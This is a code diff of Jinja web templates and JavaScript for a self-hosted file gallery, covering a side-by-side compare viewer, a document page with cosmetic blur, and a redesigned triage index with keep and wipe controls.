<input type="hidden" name="b" value="{{ sides.b.rel }}">
|
||||
<input type="hidden" name="side" value="{{ active }}">
|
||||
<input type="hidden" name="link" value="{{ '1' if linked else '0' }}">
|
||||
<button class="vbtn vflag-btn{% if s.flagged %} is-flagged{% endif %}" id="cmp-flag-{{ key }}"
|
||||
title="{{ 'un-flag' if s.flagged else 'flag' }} {{ L }} ({{ L }})">{{ '✔ flagged' if s.flagged else '○ flag' }} {{ L }} <kbd>{{ L }}</kbd></button>
|
||||
</form>
|
||||
</div>
|
||||
{% if s.caption %}<div class="cmp-cap">{{ s.caption }}</div>{% endif %}
|
||||
</div>
|
||||
</section>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> step · <kbd>A</kbd> <kbd>B</kbd> flag · <kbd>X</kbd> side · <kbd>L</kbd> link · <kbd>Z</kbd> Fit/1:1 · <kbd>Esc</kbd> review</div>
|
||||
|
||||
{# THE FILMSTRIP IS THE PICKER: the review ring in ring order. Without JS a
|
||||
frame is a link that replaces the active side from the URL (B by
|
||||
default); with JS a click replaces the side that is active NOW. #}
|
||||
<nav class="film" data-region="film" aria-label="pick from the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.blurred %} is-blurred{% endif %}{% if x.is_a %} is-a{% endif %}{% if x.is_b %} is-b{% endif %}{% if (active == 'a' and x.is_a) or (active == 'b' and x.is_b) %} is-active{% endif %}"
|
||||
href="{{ x.pick }}" data-rel="{{ x.name }}" data-pick-a="{{ x.pick_a }}" data-pick-b="{{ x.pick_b }}" title="{{ x.name }}">
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span>
|
||||
{%- if x.is_a or x.is_b %}<span class="film-ab">{{ 'A' if x.is_a }}{{ 'B' if x.is_b }}</span>{% endif -%}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var d = document.documentElement;
|
||||
var root = document.querySelector('.viewer.compare');
|
||||
var sides = {a: root.querySelector('.cmp-side[data-side="a"]'),
|
||||
b: root.querySelector('.cmp-side[data-side="b"]')};
|
||||
/* THE VIEW STATE (r3 C2): the active side and the linked stepping, read
|
||||
from the server's render of THIS URL, and written back into the URL in
|
||||
place whenever they change, so every step — a full page load — keeps
|
||||
them. Kept on the sides (never on a region: a save swaps regions). */
|
||||
var active = sides.a.classList.contains('is-active') ? 'a' : 'b';
|
||||
var linked = root.getAttribute('data-linked') !== '0';
|
||||
|
||||
/* A compare href with THIS page's view state: `side` and `link` dropped
|
||||
and re-added from the closed set, the pair's own params untouched (their
|
||||
encoding is the server's, never re-serialised here). */
|
||||
function withState(href) {
|
||||
var i = href.indexOf('?');
|
||||
if (i < 0) return href;
|
||||
var parts = href.slice(i + 1).split('#')[0].split('&').filter(function (p) {
|
||||
/* by the DECODED name: `%73ide=a` is `side=a` to the server */
|
||||
var n = p.split('=')[0];
|
||||
try { n = decodeURIComponent(n.replace(/\+/g, ' ')); } catch (e) {}
|
||||
return p && n !== 'side' && n !== 'link';
|
||||
});
|
||||
if (active === 'a') parts.push('side=a');
|
||||
if (!linked) parts.push('link=0');
|
||||
return href.slice(0, i) + '?' + parts.join('&');
|
||||
}
|
||||
function go(href) { window.location.href = href; }
|
||||
/* Every server-built link, the URL and the flag forms' landing fields
|
||||
follow the state; the strip's markers follow the active side. Run on
|
||||
every change of state and after a save swaps the regions. */
|
||||
function restate() {
|
||||
['a', 'b'].forEach(function (k) { sides[k].classList.toggle('is-active', k === active); });
|
||||
document.querySelectorAll('.film-f').forEach(function (f) {
|
||||
f.classList.toggle('is-active', f.classList.contains('is-' + active));
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (pick) f.setAttribute('href', withState(pick));
|
||||
});
|
||||
document.querySelectorAll('a[data-step]').forEach(function (a) {
|
||||
a.setAttribute('href', withState(a.getAttribute('href')));
|
||||
});
|
||||
document.querySelectorAll('.cmp-flag form').forEach(function (f) {
|
||||
var sd = f.querySelector('input[name="side"]'), ln = f.querySelector('input[name="link"]');
|
||||
if (sd) sd.value = active;
|
||||
if (ln) ln.value = linked ? '1' : '0';
|
||||
});
|
||||
root.setAttribute('data-linked', linked ? '1' : '0');
|
||||
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}
|
||||
}
|
||||
function setActive(k) { if (k !== active) { active = k; restate(); } }
|
||||
|
||||
/* THE LINKED TOGGLE (C3): JS-only, because without JS there are no keys to
|
||||
link; its state is the URL's `link`, and nothing else remembers it. */
|
||||
var lbtn = document.getElementById('cmp-link');
|
||||
function showLinked() {
|
||||
lbtn.setAttribute('aria-pressed', linked ? 'true' : 'false');
|
||||
lbtn.textContent = linked ? '⛓ linked' : '⛓ unlinked';
|
||||
}
|
||||
function setLinked(on) { linked = on; showLinked(); restate(); }
|
||||
lbtn.hidden = false;
|
||||
showLinked();
|
||||
lbtn.addEventListener('click', function () { setLinked(!linked); });
|
||||
|
||||
/* THE STAGES (C4): the shared machinery, attached once per stage; one mode
|
||||
for both, bound once, and only when a side is a picture. This page owns
|
||||
its own ResizeObserver, because `pannable` changes on resize. */
|
||||
var stages = ['a', 'b'].map(function (k) {
|
||||
var el = sides[k].querySelector('.vstage');
|
||||
return {k: k, el: el, st: BoothStage.attach(el, {img: el.querySelector('img')})};
|
||||
});
|
||||
function settleAll() { stages.forEach(function (s) { s.st.settle(); }); }
|
||||
var mode = null, toggle = document.getElementById('vtoggle');
|
||||
if (toggle) mode = BoothMode.bind({
|
||||
toggle: toggle,
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settleAll
|
||||
});
|
||||
if (window.ResizeObserver) {
|
||||
var ro = new ResizeObserver(settleAll);
|
||||
stages.forEach(function (s) { ro.observe(s.el); });
|
||||
} else window.addEventListener('resize', settleAll);
|
||||
/* A press on a stage makes its side the active one. */
|
||||
stages.forEach(function (s) {
|
||||
s.el.addEventListener('pointerdown', function () { setActive(s.k); });
|
||||
});
|
||||
|
||||
/* SYNCED PAN (C4). In 1:1 a scroll of either stage — a drag, a scrollbar,
|
||||
a wheel — puts the other at the SAME FRACTION of its own scrollable
|
||||
range, per axis; an axis with nothing to scroll on either side is left
|
||||
alone. A scroll the sync caused is recognised by where it landed and is
|
||||
never synced back, so there is no loop and no drift. */
|
||||
function sync(from, to) {
|
||||
var fx = from.scrollWidth - from.clientWidth, fy = from.scrollHeight - from.clientHeight;
|
||||
var tx = to.scrollWidth - to.clientWidth, ty = to.scrollHeight - to.clientHeight;
|
||||
var l = to.scrollLeft, t = to.scrollTop;
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;
|
||||
var was = [to.scrollLeft, to.scrollTop];
|
||||
to.scrollTo(l, t);
|
||||
if (to.scrollLeft !== was[0] || to.scrollTop !== was[1]) to.__synced = {l: to.scrollLeft, t: to.scrollTop};
|
||||
}
|
||||
stages.forEach(function (s, i) {
|
||||
var other = stages[1 - i].el;
|
||||
s.el.addEventListener('scroll', function () {
|
||||
var mine = s.el.__synced;
|
||||
if (mine) {
|
||||
s.el.__synced = null;
|
||||
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
|
||||
}
|
||||
if (!d.classList.contains('stage-one') || other === s.el) return;
|
||||
sync(s.el, other);
|
||||
}, {passive: true});
|
||||
});
|
||||
|
||||
/* Blur reveal per side — per-viewer, never persisted; cosmetic, and the
|
||||
button says so. Over the stage, never in its scrolled content. */
|
||||
root.querySelectorAll('.cmp-reveal').forEach(function (btn) {
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');
|
||||
btn.hidden = false;
|
||||
btn.addEventListener('click', function () {
|
||||
var on = stage.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
});
|
||||
|
||||
/* THE PICKER (C2): a click on a frame replaces the side that is active
|
||||
NOW. Delegated at the document, because a save replaces the frames. A
|
||||
modified click keeps the browser's own meaning (a new tab), with the
|
||||
href restate() keeps current. */
|
||||
document.addEventListener('click', function (e) {
|
||||
var f = e.target.closest && e.target.closest('.film-f');
|
||||
if (!f || e.defaultPrevented || e.button !== 0) return;
|
||||
if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) return;
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (!pick) return;
|
||||
e.preventDefault();
|
||||
go(withState(pick));
|
||||
});
|
||||
document.addEventListener('booth:swapped', restate);
|
||||
|
||||
/* THE KEYS (C3). EVERY key here is ignored while focus is in something
|
||||
editable and whenever Ctrl, Meta or Alt is held (the review's rule,
|
||||
applied to all of them). */
|
||||
function isEditable(el) {
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
function step(dir) {
|
||||
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');
|
||||
var a = document.querySelector('a[data-step="' + which + '"]');
|
||||
if (a) go(withState(a.getAttribute('href')));
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
var k = e.key;
|
||||
if (k === 'Escape' || k === 'c' || k === 'C') go(BACK);
|
||||
else if (k === 'ArrowLeft') step(-1);
|
||||
else if (k === 'ArrowRight') step(1);
|
||||
/* Space steps only from nowhere in particular: never from a focused
|
||||
control (Space presses it) and never from a player on either stage. */
|
||||
else if (k === ' ') {
|
||||
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;
|
||||
e.preventDefault();
|
||||
step(e.shiftKey ? -1 : 1);
|
||||
}
|
||||
else if (k === 'a' || k === 'A' || k === 'b' || k === 'B') {
|
||||
/* looked up at press time: a save may have replaced the button */
|
||||
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());
|
||||
if (btn) { e.preventDefault(); btn.click(); }
|
||||
}
|
||||
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');
|
||||
else if (k === 'l' || k === 'L') setLinked(!linked);
|
||||
else if ((k === 'z' || k === 'Z') && mode) mode.flip();
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -1,11 +1,15 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="docview">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
{# Reveal all can lift this page's blur, so this page must be able to put it
|
||||
back (r2b, heid bug-hunt). #}
|
||||
{% if blurred %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{# Same record, same reason as the image viewer: the sidecar that says what
|
||||
@@ -16,21 +20,35 @@
|
||||
{% for m in marks if m.shape == 'note' %}<pre class="vnote">{{ m.text }}</pre>{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{# Blur honesty reaches the full page too (r2b, heid code-review): a blurred
|
||||
doc's own page rendered clear. Its reveal is per-page and JS-only, like the
|
||||
review stage's; Reveal all lifts it by the same <html> class. #}
|
||||
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">
|
||||
{% if blurred %}<button type="button" class="reveal" id="docreveal" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
{% if is_html %}
|
||||
<article class="markdown-body">{{ body|safe }}</article>
|
||||
{% else %}
|
||||
<pre class="textview">{{ body }}</pre>
|
||||
{% endif %}
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
/* .markdown-body and .textview now live in base.html (shared with the inline
|
||||
/* .markdown-body and .textview live in base.html (shared with the inline
|
||||
gallery view). Only the full-page layout wrapper is page-specific. */
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 4rem}
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 64px}
|
||||
.docview .vbar{margin:0 calc(-1 * clamp(12px,3vw,20px)) 20px;border-radius:0}
|
||||
.docview .textview{overflow-x:auto}
|
||||
.doccap{margin:.9rem 0 1.2rem;padding:.6rem .85rem;font-size:.85rem;line-height:1.5;
|
||||
color:var(--fg-1);background:var(--rk-surface,rgba(255,255,255,.04));
|
||||
border-left:2px solid var(--aus-bright-cyan,#42dcd1);border-radius:0 6px 6px 0;
|
||||
white-space:pre-wrap}
|
||||
.doccap{margin:0 0 20px;padding:8px 14px;font-size:var(--size-body);line-height:var(--leading-body);
|
||||
color:var(--text-body);border-left:3px solid var(--border-strong);white-space:pre-wrap}
|
||||
.docmarks{display:flex;flex-direction:column;gap:8px;margin:0 0 20px}
|
||||
.docbody{position:relative}
|
||||
.docbody.is-blurred .markdown-body,.docbody.is-blurred .textview{filter:blur(22px);transition:filter var(--dur-2)}
|
||||
.docbody.is-blurred.revealed .markdown-body,.docbody.is-blurred.revealed .textview,
|
||||
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}
|
||||
.reveal-all #docreveal{display:none}
|
||||
#docreveal{position:absolute;top:10px;left:10px;z-index:2;cursor:pointer;font-family:var(--font-mono);
|
||||
font-size:var(--size-micro);line-height:1;padding:6px 9px;border-radius:var(--radius-md);
|
||||
border:1px solid rgb(255 255 255 / .16);background:oklch(0.17 0.01 250 / .86);color:oklch(0.91 0.008 216)}
|
||||
</style>
|
||||
<script>
|
||||
(function () {
|
||||
@@ -41,6 +59,14 @@
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
var rv = document.getElementById('docreveal');
|
||||
if (rv) {
|
||||
rv.hidden = false;
|
||||
rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('docbody').classList.toggle('revealed');
|
||||
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.key === 'Escape') window.location.href = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
|
||||
+172
-140
@@ -1,136 +1,166 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_provenance.html" import provenance %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# THE DESK (R2 C4). The index triaged by what needs the operator: needs you,
|
||||
then new since you looked, then everything else — always in that order, and
|
||||
the ORDER WITHIN each is decided in app.index, never here. A section with no
|
||||
booths renders nothing at all: no heading, no empty box (the negative half
|
||||
of the kept-lane pair this replaces). #}
|
||||
|
||||
{# The first four images, the originals shown small. A blurred one stays
|
||||
blurred (`blurred-thumb`, the cover's rule). A booth with no images shows the
|
||||
kind placeholder the cards used to. #}
|
||||
{% macro preview(b) -%}
|
||||
<a class="desk-strip" href="/b/{{ b.name_url }}/" tabindex="-1" aria-hidden="true">
|
||||
{% if b.preview %}
|
||||
{% for url, blurred in b.preview %}
|
||||
<img class="{{ 'blurred-thumb' if blurred }}" loading="lazy" src="/b/{{ b.name_url }}/{{ url }}" alt="">
|
||||
{% endfor %}
|
||||
{% elif b.has_index %}<span class="ph">▦ page</span>
|
||||
{% elif b.kinds.video %}<span class="ph">▶ video</span>
|
||||
{% elif b.kinds.audio %}<span class="ph">♪ audio</span>
|
||||
{% else %}<span class="ph">◆ files</span>
|
||||
{% endif %}
|
||||
</a>
|
||||
{%- endmacro %}
|
||||
|
||||
{% macro row(b, section) -%}
|
||||
<article class="desk-row{% if section == 'needs' %} is-needs{% endif %}" data-booth="{{ b.name }}" data-kept="{{ '1' if b.kept else '0' }}">
|
||||
{{ preview(b) }}
|
||||
<div class="desk-main">
|
||||
{# The manifest title leads when there is one; the directory name stays
|
||||
beside it because it is what the URL says. #}
|
||||
<a class="desk-title" href="/b/{{ b.name_url }}/">
|
||||
{%- if b.manifest and not b.manifest.error and b.manifest.title and b.manifest.title != b.name -%}
|
||||
{{ b.manifest.title }} <span class="desk-slug">{{ b.name }}</span>
|
||||
{%- else -%}{{ b.name }}{%- endif -%}
|
||||
</a>
|
||||
{{ provenance(b.manifest) }}
|
||||
{# Facts only: counts and dates. The lifetime is state (the pill) and
|
||||
the controls are actions (the cluster); neither lives here. #}
|
||||
<div class="desk-facts">
|
||||
{{ b.count }} item{{ '' if b.count == 1 else 's' }}
|
||||
{%- if b.flags %} · <span class="desk-flags">{{ b.flags }} flagged</span>{% endif %}
|
||||
{{- dates(b.created_at, b.landed_at, now) }}
|
||||
</div>
|
||||
</div>
|
||||
{# The right column: badges, then the LIFETIME PILL, always visible — state,
|
||||
not a control, so it stays when the controls hide, and down the Desk it
|
||||
reads as one column of kept / held / counting (operator: "make it
|
||||
obvious which are kept and which are ephemeral"). #}
|
||||
<div class="desk-side">
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>
|
||||
{% elif b.hold == "unreadable" %}<span class="badge badge-broken">marks unreadable</span>
|
||||
{% elif section == 'new' %}<span class="badge badge-new">new</span>{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{# r2b D2b: a fogged strip says why. Information, not the control. #}
|
||||
{% if b.booth_blurred %}<span class="badge badge-blur" title="the whole booth is blurred — cosmetic only">◉ blurred</span>{% endif %}
|
||||
<span class="life {{ 'life-kept' if b.kept else ('life-held' if b.hold in ('open', 'unreadable') else 'life-count') }}">{{ lifetime(b.kept, b.hold, b.expires_in) }}</span>
|
||||
</div>
|
||||
{# The row's controls, LAST in the markup so the booth's name comes first
|
||||
in tab order (heid bug-hunt: wipe used to be reachable before the booth
|
||||
it acts on). Where a real hover exists they float over the strip's
|
||||
top-right corner — covering pictures, never information — and appear
|
||||
only on hover or keyboard focus (operator: "download, keep and release
|
||||
buttons only appear on mouseover"; x hides too, his answer). Anywhere
|
||||
else they are the row's last line, visible: hover-only would mean no
|
||||
controls at all on touch. Order: zip, keep or release, then wipe set
|
||||
apart — zip out of the middle (operator), release still next to x. #}
|
||||
<div class="desk-acts">
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
{%- if b.kept %}
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
data-booth="{{ b.name }}" data-confirm="release"><button title="release this booth so it can be wiped">release</button></form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe-kept"><button title="wipe this KEPT booth now" aria-label="wipe kept booth">× wipe</button></form>
|
||||
{%- else %}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep"><button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★ keep</button></form>
|
||||
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe"><button title="wipe now" aria-label="wipe booth">× wipe</button></form>
|
||||
{%- endif %}
|
||||
</div>
|
||||
</article>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block content %}
|
||||
<div class="desk">
|
||||
<div class="desk-list">
|
||||
{% if needs %}
|
||||
<section class="desk-sec" data-section="needs">
|
||||
<h2 class="desk-head desk-head-needs">Needs you <span class="desk-rule">oldest question first</span></h2>
|
||||
{% for b in needs %}{{ row(b, 'needs') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if new %}
|
||||
<section class="desk-sec" data-section="new">
|
||||
<h2 class="desk-head desk-head-new">New since you looked <span class="desk-rule">newest first</span></h2>
|
||||
{% for b in new %}{{ row(b, 'new') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if rest %}
|
||||
<section class="desk-sec" data-section="rest">
|
||||
<h2 class="desk-head">Everything else <span class="desk-rule">last updated first</span></h2>
|
||||
{% for b in rest %}{{ row(b, 'rest') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if not needs and not new and not rest %}
|
||||
<div class="empty">
|
||||
No booths yet. Drop a folder into <code>{{ data_dir }}</code>, or upload files for pickup.
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<aside class="desk-aside">
|
||||
{# Benches: running things. DAMAGED AND ABSENT MUST NOT RENDER THE SAME —
|
||||
an unreadable registry says so; an empty one renders no panel. #}
|
||||
{% if benches_error %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches</h2>
|
||||
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
|
||||
</section>
|
||||
{% elif benches %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches <span class="desk-rule">running things</span></h2>
|
||||
{% for b in benches %}
|
||||
{# Agent-written URLs: only http(s) becomes a link. Autoescape stops markup,
|
||||
not a `javascript:` scheme, so anything else renders as plain text. #}
|
||||
{% set web = b.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-bench is-{{ b.state }}"{% if web %} href="{{ b.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
<span class="desk-bench-dot" aria-hidden="true"></span>
|
||||
<span class="desk-bench-main"><span class="desk-bench-name">{{ b.name or b.url }}</span>
|
||||
<span class="desk-bench-sub">{% if b.owner %}{{ b.owner }} · {% endif %}{{ b.state }}</span></span>
|
||||
</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
{% if bookmarks %}
|
||||
<section class="desk-panel" data-panel="bookmarks">
|
||||
<h2 class="desk-panel-head">Bookmarks <span class="desk-rule">pinned first</span></h2>
|
||||
{% for e in bookmarks %}
|
||||
{% set web = e.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-mark{% if e.pinned %} is-pinned{% endif %}"{% if web %} href="{{ e.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
{{ e.desc }}{% if e.who %}<span class="desk-bench-sub">{{ e.who }}</span>{% endif %}</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
<a class="desk-more" href="{{ board_url }}">all {{ bookmarks_total }} on the board →</a>
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
<section class="desk-panel" data-panel="pickup">
|
||||
<h2 class="desk-panel-head">Pickup</h2>
|
||||
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
|
||||
<label class="drop" for="booth-files">
|
||||
<span class="drop-icon">⬆</span>
|
||||
<span class="drop-main">Upload files for pickup</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click to choose · one pickup id, wiped in {{ ttl_hours }}h</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click · wiped in {{ ttl_hours }}h</span>
|
||||
<input id="booth-files" name="files" type="file" multiple>
|
||||
</label>
|
||||
<button class="up-go" type="submit">Get pickup id →</button>
|
||||
</form>
|
||||
|
||||
{% if kept %}
|
||||
{# Kept boards render FIRST and look different on purpose: they are durable
|
||||
operator-facing things (the agent link board, standing reports) and the
|
||||
point of the lane is that they cannot be lost in a feed that turns over
|
||||
every day. No countdown — they have no expiry to advertise. #}
|
||||
<h2 class="lane-head">Kept <span class="lane-note">· no expiry · <code>{{ keep_marker }}</code></span></h2>
|
||||
<div class="grid kept-grid">
|
||||
{% for b in kept %}
|
||||
<article class="card card-kept">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
{# A cover blurred inside the booth must be blurred here too, or the
|
||||
front page undoes the censoring the booth page applied. #}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
<span class="badge badge-kept">★ kept</span>
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(true, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
{{ provenance(b.manifest) }}
|
||||
</section>
|
||||
</aside>
|
||||
</div>
|
||||
{# There IS a × here now (operator, 2026-09-21). The old rule was
|
||||
release-then-find-it-in-the-other-lane, on the theory that two
|
||||
deliberate acts protect durable boards. In practice it protects
|
||||
nothing and costs a hunt: the board you just released is loose in a
|
||||
feed that turns over, and you have to go find it to finish the job
|
||||
you had already decided on.
|
||||
|
||||
The protection now lives in the CONFIRMATION, not in the number of
|
||||
lanes you must traverse — this one names the booth and says the word
|
||||
KEPT, where the ephemeral × just asks. A deliberate act, one click,
|
||||
reachable.
|
||||
|
||||
Release still exists and is still the reversible option. Note it
|
||||
BUMPS the directory mtime, so the board's age resets and it survives
|
||||
another full TTL — unkeep-and-wait is a 24h delay, not a delete,
|
||||
which is exactly why a direct × was worth adding. #}
|
||||
{# ⚠ BOTH OF THESE WERE position:absolute ON THE SAME CORNER, and `release`
|
||||
is the later sibling, so it painted over the × completely: measured
|
||||
30x22 px of overlap on a 30px button, and elementFromPoint at the ×'s
|
||||
centre returned the release form. The × was unclickable from the day
|
||||
it shipped.
|
||||
|
||||
One flex row, positioned once, instead of two independently guessed
|
||||
offsets — so neither control can drift back on top of the other when
|
||||
a label changes width. #}
|
||||
<div class="kept-actions">
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
data-booth="{{ b.name }}" data-confirm="release">
|
||||
<button title="release this board so it can be wiped">release</button>
|
||||
</form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe-kept">
|
||||
<button title="wipe this KEPT booth now" aria-label="wipe kept booth">×</button>
|
||||
</form>
|
||||
</div>
|
||||
</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if booths %}<h2 class="lane-head">Ephemeral <span class="lane-note">· wiped {{ ttl_hours }}h after last activity</span></h2>{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if not booths %}
|
||||
{% if not kept %}
|
||||
<div class="empty">
|
||||
No booths yet. Upload files above, or drop a folder into <code>{{ data_dir }}</code>.
|
||||
</div>
|
||||
{% endif %}
|
||||
{% else %}
|
||||
<div class="grid">
|
||||
{% for b in booths %}
|
||||
<article class="card">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>{% endif %}
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(false, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
{{ provenance(b.manifest) }}
|
||||
</div>
|
||||
{# Promote to the kept lane. The /keep route and the `booth keep` CLI verb
|
||||
both predate this button; until 2026-09-19 the UI could only RELEASE a
|
||||
kept booth, never keep an ephemeral one, so the round trip was only
|
||||
closed if you had a shell. Reversible, so no confirmation — the × next
|
||||
to it is the destructive one and keeps its prompt. #}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep">
|
||||
<button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★</button>
|
||||
</form>
|
||||
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe">
|
||||
<button title="wipe now" aria-label="wipe booth">×</button>
|
||||
</form>
|
||||
